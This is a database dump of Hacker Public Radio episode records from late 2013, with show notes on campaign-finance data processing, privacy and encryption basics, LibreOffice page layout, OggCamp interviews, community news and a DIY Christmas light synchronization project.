(1372,'2013-11-05','Rootstrikers.org and federal election commission data processing',679,'Rootstrikers: reducing the corrosive influence of money in politics','<p>\r\nIn the show I introduce rootstrikers and describe my current project to process the FEC data.\r\n</p>\r\n<p>\r\nDifferent Rootstriker Projects that I worked on :\r\n</p>\r\n<p>\r\nThe Anti Corruption Pledge : <a href=\"https://bitbucket.org/h4ck3rm1k3/the-anti-corruption-pledge\">https://bitbucket.org/h4ck3rm1k3/the-anti-corruption-pledge</a>\r\n</p>\r\n<p>\r\nCongress Legislators\r\n<a href=\"https://github.com/unitedstates/congress-legislators\">https://github.com/unitedstates/congress-legislators</a>\r\n</p>\r\n<p>\r\nRootstrikers Wikipedia Interface\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/rootstrikers-wikipedia\">https://github.com/h4ck3rm1k3/rootstrikers-wikipedia</a>\r\n</li>\r\n<li>Example Wiki Here : <a href=\"https://rootstrikers.wikia.com/wiki/Rootstrikers_Wiki\">https://rootstrikers.wikia.com/wiki/Rootstrikers_Wiki</a>\r\n</li>\r\n<li>Converter to Wiki format from maplight data: <a href=\"https://github.com/h4ck3rm1k3/rootstriker-fec-maplight-wiki\">https://github.com/h4ck3rm1k3/rootstriker-fec-maplight-wiki</a>\r\n</li>\r\n<li>Bot to upload to example wiki: <a href=\"https://github.com/h4ck3rm1k3/rootstriker-fec-bot\">https://github.com/h4ck3rm1k3/rootstriker-fec-bot</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nFederal Election Commission aggregation\r\n</p>\r\n<p>\r\nFech, the ruby interface :\r\n<a href=\"https://github.com/NYTimes/Fech\">https://github.com/NYTimes/Fech</a>\r\n</p>\r\n<p>\r\nThe documentation of the fields, with a generated python class interface\r\n    <a href=\"https://github.com/h4ck3rm1k3/FEC-Field-Documentation\">https://github.com/h4ck3rm1k3/FEC-Field-Documentation</a> \r\n</p>\r\n<p>\r\nStarting point of the data repository in yaml format (v1)\r\n    <a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation</a> \r\n</p>\r\n<p>\r\nThe years are split into git submodules\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2000\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2000</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2001\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2001</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2002\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2002</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2003\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2003</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2004\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2004</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2005\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2005</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2006\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2006</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2007\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2007</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2008\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2008</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2009\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2009</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2010\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2010</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2011\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2011</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2012\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2012</a>\r\n</li>\r\n<li><a href=\"https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2013\">https://github.com/h4ck3rm1k3/federal-election-commission-aggregation-2013</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nExperimental C++ Reader(not finished)\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://bitbucket.org/h4ck3rm1k3/yaml-cpp\">https://bitbucket.org/h4ck3rm1k3/yaml-cpp</a> \r\n</li>\r\n</ul>\r\n\r\n<p>\r\ntwitter : <a href=\"https://twitter.com/h4ck3rm1k3\">https://twitter.com/h4ck3rm1k3</a>\r\n</p>\r\n<p>\r\nG+ : <a href=\"https://plus.google.com/u/0/106785192512941136314/posts\">https://plus.google.com/u/0/106785192512941136314/posts</a>\r\n</p>',260,0,0,'CC-BY-SA','politics,\"campaign finance\",corruption',0,1418,1),
(1373,'2013-11-06','01 - Why Do We Need Privacy, And Isn\'t It A Waste Of Time Anyway?',1343,'The need for privacy and the practicality of achieving it','<p>In this episode of our Privacy and Security series we look at two issues. The first is why we need Privacy, and the second is whether it is practical in the 21st century. I hope to show that we do need it, and that it is both practical and surprisingly easy to do some simple things to obtain it.</p>\n <p>Some useful sites</p>\n <ul>\n  <li><a href=\"https://en.wikipedia.org/wiki/Room_641A\">Room 641A and the NSA</a></li>\n  <li><a href=\"https://craphound.com/?cat=5\">Cory Doctorow\'s Books</a></li>\n  <li><a href=\"https://thecommandline.net/\">The Command Line Podcast</a></li>\n  <li><a href=\"https://www.amazon.com/The-Code-Book-Science-Cryptography/dp/0385495323/ref=pd_bxgy_b_img_y\">The Code Book</a></li>\n  <li><a href=\"https://www.amazon.com/Puzzle-Palace-National-Intelligence-Organization/dp/0140067485/ref=sr_1_1?s=books&ie=UTF8&qid=1381020051&sr=1-1&keywords=the+puzzle+palace+inside+the+national+security+agency+america%27s+most+secret+intelligence+organization\">The Puzzle Palace</a></li>\n  <li><a href=\"https://twit.tv/sn\">Security Now</a></li>\n  <li><a href=\"https://hak5.org/\">Hak 5 video podcast</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Bruce_Schneier\">Bruce Schneier</a></li>\n  <li><a href=\"https://www.amazon.com/Schneier-Security-Bruce/dp/0470395354\">Schneier on Security</a></li>\n  <li><a href=\"https://www.schneier.com/crypto-gram.html\">Bruce Schneier\'s Crypto-Gram Newsletter</a></li>\n  <li>SANS Institute -&nbsp;<a href=\"https://www.sans.org/\">https://www.sans.org</a></li>\n  <li>Krebs on Security -&nbsp;<a href=\"https://krebsonsecurity.com/\">https://krebsonsecurity.com/</a></li>\n </ul>\n <p>This article appears on my web site at <a href=\"https://www.zwilnik.com/?page_id=444\">https://www.zwilnik.com/</a>.</p>\n <p>Remember to support free software!</p>',198,74,0,'CC-BY-SA','privacy,security',0,1673,1),
(1390,'2013-11-29','02 - Encryption Basics',1338,'The fundamentals of encryption and asymmetric public key cryptography','<p>In this episode of our Privacy and Security series we look at the fundamentals of encryption and how it has developed over the centuries. We will also develop a basic idea of the current asymmetric public key cryptography.</p>\n <p>Some useful sites</p>\n <ul>\n  <li><a href=\"https://en.wikipedia.org/wiki/RSA_(algorithm)\" target=\"_blank\">RSA Algorithm</a></li>\n </ul>\n <p>This article appears on my web site at <a href=\"https://www.zwilnik.com/?page_id=450\">https://www.zwilnik.com/</a>.</p>\n <p>Remember to support free software!</p>',198,74,0,'CC-BY-SA','encryption,cryptography,\"asymmetric public key cryptography\",RSA',0,1852,1),
(1395,'2013-12-06','17 - LibreOffice Writer Overview of Page Layout Options',752,'Controlling page layout in LibreOffice Writer','<p>In this episode of our LibreOffice series we begin our look at how you control page layout.</p>\n <p>Some useful sites</p>\n <ul>\n  <li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a></li>\n  <li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a></li>\n  <li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a></li>\n  <li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a></li>\n </ul>\n <p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\n <p>This program has a written page at <a href=\"https://www.ahuka.com/?page_id=478\">https://www.ahuka.com/?page_id=478</a></p>\n <p>Remember to support free software!</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer',0,1549,1),
(1405,'2013-12-20','18 - LibreOffice Writer Page Styles Introduced',1249,'An introduction to page styles in LibreOffice Writer','<p>In this episode of our LibreOffice series we introduce the concept of Page Styles, and take a look at how their properties can be controlled.</p>\n <p>Some useful sites</p>\n <ul>\n  <li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a></li>\n  <li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a></li>\n  <li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a></li>\n  <li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a></li>\n </ul>\n <p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\n <p>This program has a written page at <a href=\"https://www.ahuka.com/?page_id=488\">https://www.ahuka.com/?page_id=488</a></p>\n <p>Remember to support free software!</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer',0,1489,1),
(1415,'2014-01-03','19 - LibreOffice Writer Working with Page Styles',1109,'Using page styles in LibreOffice Writer','<p>In this episode of our LibreOffice series we take the concept of Page Styles, and show how to use them to create an elegant document.</p>\n <p>Some useful sites</p>\n <ul>\n  <li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a></li>\n  <li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a></li>\n  <li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a></li>\n  <li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a></li>\n  <li><a href=\"https://www.libreoffice.org/get-help/mailing-lists/\" target=\"_blank\">LibreOffice Users Mailing list</a></li>\n  <li><a href=\"https://www.ahuka.com/?attachment_id=612\" target=\"_blank\">Page Styles Sample document</a></li>\n </ul>\n <p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\n <p>This program has a written page at <a href=\"https://www.ahuka.com/?page_id=608\">https://www.ahuka.com/?page_id=608</a></p>\n <p>Remember to support free software!</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer',0,1586,1),
(1378,'2013-11-13','Day one of interviews from OGGcamp 13. ',1438,'First set of interviews from OGGcamp 13, conducted by some of the HPR hosts who attended','<p>\r\nDay one of interviews from OGGcamp 13. \r\n</p>\r\n\r\n<h2>Pics:</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/oggcamp-13/\">https://media.gunmonkeynet.net/u/nybill/collection/oggcamp-13/</a>\r\n</li>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/mrsnybill-oggcamp13/\">https://media.gunmonkeynet.net/u/nybill/collection/mrsnybill-oggcamp13/</a>  \r\n</li>\r\n</ul>',109,62,0,'CC-BY-SA','oggcamp,oggcamp13,interviews',0,1489,1),
(1379,'2013-11-14','Day two of interviews from OGGcamp 13. ',1478,'Second set of interviews from OGGcamp 13, conducted by some of the attendees','<p>\r\nDay two of interviews from OGGcamp 13. \r\n</p>\r\n\r\n<h2>Pics:</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/oggcamp-13/\">https://media.gunmonkeynet.net/u/nybill/collection/oggcamp-13/</a>\r\n</li>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/mrsnybill-oggcamp13/\">https://media.gunmonkeynet.net/u/nybill/collection/mrsnybill-oggcamp13/</a>  \r\n</li>\r\n</ul>',109,62,0,'CC-BY-SA','oggcamp,oggcamp13,interviews',0,1445,1),
(1380,'2013-11-15','OGGCamp13 Bonus Track',2652,'Four grown men ironing in a tiny hotel room - making HPR t-shirts','<p>\"OGGcamp, I was there, it was a fight.\" -Theru</p>\r\n <p>If you want to hear four grown men ironing in a tiny hotel room, this is for you. This was a recording made while Navigium, Timttmy, Theru, and NYbill ruined... I mean made OGGcamp13 HPR shirts an hour before doors opened on Saturday.</p>\r\n <h2>Pics:</h2>\r\n <ul>\r\n  <li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/oggcamp-13/\">https://media.gunmonkeynet.net/u/nybill/collection/oggcamp-13/</a></li>\r\n  <li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/mrsnybill-oggcamp13/\">https://media.gunmonkeynet.net/u/nybill/collection/mrsnybill-oggcamp13/</a></li>\r\n </ul>',109,62,1,'CC-BY-SA','oggcamp,oggcamp13,ironing',0,1515,1),
(1374,'2013-11-07','Updating The 2009 LifeHacker QuadCore Hackintosh to Mavericks',677,'Taking a Mountain Lion Hackintosh to Mavericks','<p>\r\nThere are more details here:\r\n</p>\r\n<p>\r\n<a href=\"https://rich-blog.blogspot.com/2013/10/updating-2009-lifehacker-quadcore.html\">https://rich-blog.blogspot.com/2013/10/updating-2009-lifehacker-quadcore.html</a>\r\n</p>',264,0,1,'CC-BY-SA','Hackintosh,OS X,Mavericks',0,1454,1),
(1376,'2013-11-11','How Should We Then Teach the Art of Computing?',2120,'Teaching specific packages versus the Art of Computing','In this episode Klaatu discusses the Art of Computing.',78,0,0,'CC-BY-SA','teaching,computing,\"generic solutions\",\"problem solving\"',0,1672,1),
(1381,'2013-11-18','How We Found Linux',3432,'Kevin Wisher and Honkey Magoo each discuss their journey to Linux','<p>\r\n<a href=\"https://en.wikipedia.org/wiki/IBM_Portable_Personal_Computer\">https://en.wikipedia.org/wiki/IBM_Portable_Personal_Computer</a>\r\n</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Texas_Instruments_TI-99/4A\">https://en.wikipedia.org/wiki/Texas_Instruments_TI-99/4A</a>\r\n</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Freespire\">https://en.wikipedia.org/wiki/Freespire</a>\r\n</p>',265,29,1,'CC-BY-SA','TRS-80,\"IBM portable PC\",modem,\"Texas Instruments TI-99/4A\",\"Fedora Core\",Freespire,\"Linux Mint\",Manjaro,Debian,MythTV',0,1560,1),
(1382,'2013-11-19','Interview with Dave Hingley',1415,'Interview with Dave Hingley from www.titaniumbunker.com, about #OggCamp, linux and hardware issues.','<p>\r\nIn this episode Mike Hingley interviews his brother after oggcamp 2013 (www.oggcamp.org), and Dave talks about linux and hardware problems.\r\n</p>\r\n<h3>Links</h3>\r\n<p>\r\nTitanium Bunker: <a href=\"https://www.titaniumbunker.com\">https://www.titaniumbunker.com/</a>\r\n</p>\r\n<p>\r\nOggCamp: <a href=\"https://www.oggcamp.org/\">https://oggcamp.org/</a>\r\n</p>\r\n',185,62,1,'CC-BY-SA','OggCamp,presentation,Ubuntu,\"slide projector\"',0,1413,1),
(1383,'2013-11-20','HPR Community News for October 2013',2962,'HPR Community News for October 2013','<h2>New hosts</h2>\n <p>Welcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=261\">David Willson</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=262\">Neandergeek</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=263\">Tony Pelaez</a>, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=264\">Richard Hughes</a>.</p>\n <h2>Show Updates</h2>\n <table>\n  <thead>\n   <tr>\n    <th>id</th>\n    <th>date</th>\n    <th>title</th>\n    <th>host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr>\n    <td>1347</td>\n    <td>2013-10-01</td>\n    <td>LinuxJAZZ#4</td>\n    <td>Bariman</td>\n   </tr>\n   <tr>\n    <td>1348</td>\n    <td>2013-10-02</td>\n    <td>Fuse</td>\n    <td>MrX</td>\n   </tr>\n   <tr>\n    <td>1349</td>\n    <td>2013-10-03</td>\n    <td>Melissa Dupreast helps me with Audio Compression</td>\n    <td>Jon Kulp</td>\n   </tr>\n   <tr>\n    <td>1350</td>\n    <td>2013-10-04</td>\n    <td>The Origin of ONICS (My Intro)</td>\n    <td>Gabriel Evenfire</td>\n   </tr>\n   <tr>\n    <td>1351</td>\n    <td>2013-10-07</td>\n    <td>HPR Community News For August 2013</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>1352</td>\n    <td>2013-10-08</td>\n    <td>Stanford marshmallow experiment</td>\n    <td>Zachary De Santos</td>\n   </tr>\n   <tr>\n    <td>1353</td>\n    <td>2013-10-09</td>\n    <td>Practical Math - Introduction to Units</td>\n    <td>Charles in NJ</td>\n   </tr>\n   <tr>\n    <td>1354</td>\n    <td>2013-10-10</td>\n    <td>Wayne Green</td>\n    <td>MrGadgets</td>\n   </tr>\n   <tr>\n    <td>1355</td>\n    <td>2013-10-11</td>\n    <td>LibreOffice 13 Writer A Bullet Style Deconstructed</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1356</td>\n    <td>2013-10-14</td>\n    <td>So, you\'ve just installed Arch Linux, now what? Arch Lessons from a Newbie, Ep. 01</td>\n    <td>FiftyOneFifty</td>\n   </tr>\n   <tr>\n    <td>1357</td>\n    <td>2013-10-15</td>\n    <td>Whats in my bag, and other stories</td>\n    <td>James Michael DuPont (h4ck3rm1k3)</td>\n   </tr>\n   <tr>\n    <td>1358</td>\n    <td>2013-10-16</td>\n    <td>how to set up GnuPG, a PGP-compliant encryption</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>1359</td>\n    <td>2013-10-17</td>\n    <td>Pipes</td>\n    <td>Matt McGraw (g33kdad)</td>\n   </tr>\n   <tr>\n    <td>1360</td>\n    <td>2013-10-18</td>\n    <td>HPR Community News For September2013</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>1361</td>\n    <td>2013-10-21</td>\n    <td>SFS and Linux Camp</td>\n    <td>David Willson</td>\n   </tr>\n   <tr>\n    <td>1362</td>\n    <td>2013-10-22</td>\n    <td>Fixing a bad RSS feed</td>\n    <td>Dave Morriss</td>\n   </tr>\n   <tr>\n    <td>1363</td>\n    <td>2013-10-23</td>\n    <td>Some pacman Tips By Way of Repacing NetworkManager With WICD</td>\n    <td>FiftyOneFifty</td>\n   </tr>\n   <tr>\n    <td>1364</td>\n    <td>2013-10-24</td>\n    <td>Vintage Tech Iron Pay Phone Coin Box</td>\n    <td>FiftyOneFifty</td>\n   </tr>\n   <tr>\n    <td>1365</td>\n    <td>2013-10-25</td>\n    <td>LibreOffice 14 Writer A Numbered List Style Deconstructed</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1366</td>\n    <td>2013-10-28</td>\n    <td>What I do with my Raspberry Pi</td>\n    <td>Neandergeek</td>\n   </tr>\n   <tr>\n    <td>1367</td>\n    <td>2013-10-29</td>\n    <td>I\'m Sorry Dan</td>\n    <td>Jezra</td>\n   </tr>\n   <tr>\n    <td>1368</td>\n    <td>2013-10-30</td>\n    <td>How to Fold a Fitted Sheet</td>\n    <td>Jon Kulp</td>\n   </tr>\n   <tr>\n    <td>1369</td>\n    <td>2013-10-31</td>\n    <td>NaNoWriMo Prep</td>\n    <td>Heisenbug</td>\n   </tr>\n  </tbody>\n </table><pre>\nStarted:  7 years, 6 months, 22 days ago\nRenamed HPR:  5 years, 3 months, 29 days ago\nTotal Shows:  1715\nTotal TWAT: 300\nTotal HPR:  1415\nHPR Hosts:  206\nNext free slot: 16\nHosts in Queue: 7\nShows in Queue: 15\nOctober Downloads: 101,572\n<a href=\"https://hackerpublicradio.org/report.bz2\">https://hackerpublicradio.org/report.bz2</a>\n</pre><h2>2013-14 New Years 24-hour show</h2>\n <p>Hello All,<br />\n  <br /> We are roughly around 10 weeks away from the next 24-hour New Year\'s show. This a call out for all parties who are interested in helping with this year\'s show. We mainly need to make arrangements for a Mumble server and a few streaming servers. If you have any of these resources available then please send me your name, email address, available resources, and a day/time that is convenient for you to meet on-line on a Mumble server for organizational purposes.<br />\n  <br /> Thank you,<br />\n  <br /> Kwisher on IRC<br /> kevin dot wisher at gmail dot com</p>\n <h2>Other News</h2>\n <ul>\n  <li>Request for Ahuka - doing car payments as an example</li>\n  <li>Queue Management/Disposing of current backup shows<br /> \"It was scary to me that there are only two shows in the queue, until I realized that there are 13 shows in the backup queue.\"</li>\n  <li>Worst of as a backup show - not in line with HPR philosophy</li>\n  <li>Updated Readme</li>\n  <li>George, asked for help deciding what to record</li>\n  <li>Process of adding us to mail archive</li>\n  <li>The free software song <a href=\"https://www.gnu.org/music/free-software-song.html\">https://www.gnu.org/music/free-software-song.html</a></li>\n </ul>',159,47,1,'CC-BY-SA','Community News',0,1411,1),
(1384,'2013-11-21','How I Got Into Linux and OSS',663,'New HPR podcaster Keith Murray shares how he came to the Linux and OSS world.','<p>\r\nIt seems that telling the tale of how you came to be an active user of Linux or open source software has become the de facto first show topic, so here\'s my story. I hope this slightly different take on the how-I-came-to-Linux story will be of some interest to you. If you\'re interested in any of the other things I do you can find me on twitter @kdmurray (<a href=\"https://twitter.com/kdmurray\">https://twitter.com/kdmurray</a>) or on my blog at <a href=\"https://kdmurray.net/\">https://kdmurray.net/</a>.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li>Red Hat Linux for Dummies: <a href=\"https://books.google.ca/books/about/Red_hat_Linux_for_dummies.html?id=iKJAOAAACAAJ\">https://books.google.ca/books/about/Red_hat_Linux_for_dummies.html?id=iKJAOAAACAAJ</a>\r\n</li>\r\n<li>RTFM on XKCD: <a href=\"https://xkcd.com/293/\">https://xkcd.com/293/</a>\r\n</li>\r\n<li>Audacity Project: <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>\r\n</li>\r\n<li>Notepad++ Project: <a href=\"https://notepad-plus-plus.org/\">https://notepad-plus-plus.org/</a>\r\n</li>\r\n<li>Going Linux Podcast: <a href=\"https://goinglinux.com/\">https://goinglinux.com/</a>\r\n</li>\r\n<li>Ubuntu Experiment Blog Post: <a href=\"https://kdmurray.net/three-week-ubuntu-experiment-migrating-to-open-source/\">https://kdmurray.net/three-week-ubuntu-experiment-migrating-to-open-source/</a>\r\n</li>\r\n</ul>',266,29,1,'CC-BY-SA','\"Red Hat\",Audacity,Notepad++,Windows7,Ubuntu',0,1566,1),
(1386,'2013-11-25','Hacking Public Policy: The Underground Press',4507,'An exploration on how to hack public policy','<p>\r\nIn this Hacker Public Radio episode Bob Tregilus continues an exploration on how to hack public policy. Because outreach and education is so critical to building a successful movement, Tregilus talks to Ken Wachsberger of Lansing, Michigan, about the underground press of the late \'60s and early \'70s. Wachsberger was involved with the \"Joint Issue,\" an underground paper serving southeastern Michigan.\r\n</p>\r\n<p>\r\nQuestions addressed and answered include:\r\n</p>\r\n\r\n<ol>\r\n<li>The history of the underground press.\r\n</li>\r\n<li>Constraints on leisure time in the \'60s vs. the 2000s.\r\n</li>\r\n<li>Differences between the underground press, the alternative press, and the corporate press.\r\n</li>\r\n<li>Community organizing in the \'60s vs. the 2000s.\r\n</li>\r\n<li>Social issues of the \'60s vs. the 2000s.\r\n</li>\r\n<li>And more!\r\n</li>\r\n</ol>\r\n\r\n<p>\r\nHost: Bob Tregilus\r\n</p>\r\n\r\n<ul>\r\n<li>Hacker Public Radio: &lt;<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=251\">https://hackerpublicradio.org/correspondents.php?hostid=251</a>&gt;.\r\n</li>\r\n<li>This Week in Energy: &lt;<a href=\"https://ThisWeekinEnergy.tv\">https://ThisWeekinEnergy.tv</a>&gt;.\r\n</li>\r\n<li>The Plug In America Show: &lt;<a href=\"https://www.pluginamerica.org/ev-media/podcasts\">https://www.pluginamerica.org/ev-media/podcasts</a>&gt;.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nGuest: Ken Wachsberger\r\n</p>\r\n\r\n<ul>\r\n<li>Voices from the Underground: &lt;<a href=\"https://www.voicesfromtheunderground.com/\">https://www.voicesfromtheunderground.com/</a>&gt;.\r\n</li>\r\n<li>Azenphony Press: &lt;<a href=\"https://www.azenphonypress.com/\">https://www.azenphonypress.com/</a>&gt;.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nOther resources mentioned are:\r\n</p>\r\n\r\n<ul>\r\n<li>Independent Voices is a four-year project to digitize over 1 million pages from the magazines, journals and newspapers of the alternative press archives of participating libraries: &lt;<a href=\"https://www.revealdigital.com/\">https://www.revealdigital.com/</a>&gt;.\r\n</li>\r\n</ul>',251,0,0,'CC-BY-SA','public policy, media, underground press, alternative press, outreach, education, activism, radicalism, community organizing',0,1539,1),
(1387,'2013-11-26','Christmas Light Synchronization',1835,'Christmas Holiday Light synchronization','<p>Hello hacker public radio</p>\n <p>I have wanted to contribute to HPR for several months now. I find it annoying and pointless to create a script to read off. But after several attempts of trying to recording my self blathering on with stuttering, cursing, air gaps, and humming I had to script my episode. In this episode I would like to talk about building a Christmas light synchronization system.</p>\n <p>I had first seen someone\'s home brew system years ago synchronized to music by the trans-Siberian orchestra. I was immediately mesmerized and went to work on figuring out how it was done.</p>\n <p>I have had a fair amount of experience with fabrication and electricity over the years. However I really only know how to maintain systems that have already been engineered and fully vetted by others. My exploration led me to first find all of the unreliable sources and then on to the sites that leave out the magic step into getting their system to work. Truly reliable sources were scarce.</p>\n <p>Frustrated with what I was finding, I gave up and my time was consumed with remodelling our home and moving to a different state into our new house.</p>\n <p>Last year I wanted to start another attempt at making a system but time was short and planning something like this during the holidays is extremely dumb.</p>\n <p>After the last holiday season and while putting away the holiday lights all I could think about is getting these lights synchronized for the next season. So I went back to the disinformation highway continuing my research.</p>\n <p>Although I was looking strictly for technical information personal information leaked through.</p>\n <p>The common theme amongst other people is to start planning for the next season in July. Starting to plan in January is a bad idea and all you will have is anguish when it comes time to deploy your show.</p>\n <p>Soon July came along and I argued with myself if I was really going to commit myself to doing this. From what I have read I can be reassured that there is no backing out once you start. Most people talk about what they are going to add to their system next year.</p>\n <p>So lets talk about the first step.</p>\n <p>Some sites will say \"GET AS MANY LIGHTS AS YOU CAN AS SOON AS POSSIBLE\"</p>\n <p>This theme seems like a logical step, but I don\'t know what I\'m doing!</p>\n <p>I already have lots of lights, its not like I\'m going to put up one hundred thousand lights this year. No my plans are to put up the same old lights I already have and incorporate them into the system and then grow from there.</p>\n <p>So if I already have some lights I need a new step one.</p>\n <p>Unfortunately most of the so called step by step lists don\'t agree on anything. So I chose what was most important just to get lights to work, even if I was never able to build my own synchronization system. The most important thing in any holiday lighting set-up is electricity. So that is the first thing I concentrated on. The front of my house has two outlets on two different circuits. One conveniently placed on the front porch, at the lowest spot on the porch with a plastic cover that is hinged to open upwards preventing direct line of sight when trying to plug an extension cord in. The second is behind a razor sharp ornamental grass bush. The two circuits are on 15 amp breakers and each outlet is installed with a ground fault circuit interrupter (GFCI). You make have seen these in your bathroom, they have a rest button and a test button. These circuits are not dedicated to these two outlets. They are connected to all of the rooms on the front side of the house. For me this simply will not do. Because when or if a breaker trips part of the house will go dark. Instead of fussing with these difficult circuits I decided to install two new circuits that would be exclusively dedicated for any out door lighting. My garage has a relatively empty breaker box so whatever I decide to do I\'ll have plenty of room to do it.</p>\n <p>With my mind on future needs I made a check list of what I wanted</p>\n <ul>\n  <li># One. Two separate circuits</li>\n  <li># Two. 20 amps on each line</li>\n  <li># Three. The circuits need to terminate in two separate two gang boxes somewhere out in the yard where all the lights would connect to them.</li>\n </ul> And thats just what I did. From the breaker box I ran 12 gauge 3 wire (12/3) over head and down the wall into two separate junction boxes. <p>A GFCI outlet is the first device connected from the home run between the breaker box and this junction box. So anything installed after this point will have GFCI protection. The second thing installed is a light switch that can create an open circuit to the power leaving the garage. I had thought about installing a digital timer instead of the light switches but the light switches are a cheap place holder until I make up my mind. the GFCI outlets and light switches are rated at 20 amps not 15. After the light switches, the circuits run out of the garage and are trenched about 30 inches below ground in PVC conduit. They reappear in a spot in the yard, terminated at the 2 gang outlets. This took quite sometime to do. All of my expenses are going into copper so the budget doesn\'t call for any machinery to help along the. So at this point regardless if I continue on with my adventures I should always have enough power just to run lights.</p>\n <p>As the month went on I stumbled across Instructables.com and found a few people actually showing their secret sauce. I probably spent a whole month reading and then rereading what they were doing. There were only about six people that truly knew how to make a synchronization system and they all had one thing in common, Arduino. Without even really knowing what an Aduino is, I knew this was going to be the key to getting a system of my very own! Without hesitation I linked over to adafruit and bought an Arduino Uno. Everyone else had one, so why shouldnt I?</p>\n <p>The Uno would only cost me $30 and I would be on my way to completing my goal. If you\'ve never seen or heard of an Arduino they are credit card sized micro controllers that are made in Italy and are open sourced. The Arduino has one little hang up. Everything is programmed in C language. I know nothing of C or any real programming language. The only programing I have any experience with is HTML 1.0. These geriatric skills would not help me with the Arduino. Arduino helps you learn basic skills. You can read practice pages at Arduino.cc or you can use the Arduino examples built into their IDE software. The first tutorial I explored was the Blink command. The blink command you assign a name to the pin you want to use and then create a loop of turning the pin on and off, or HIGH and LOW. 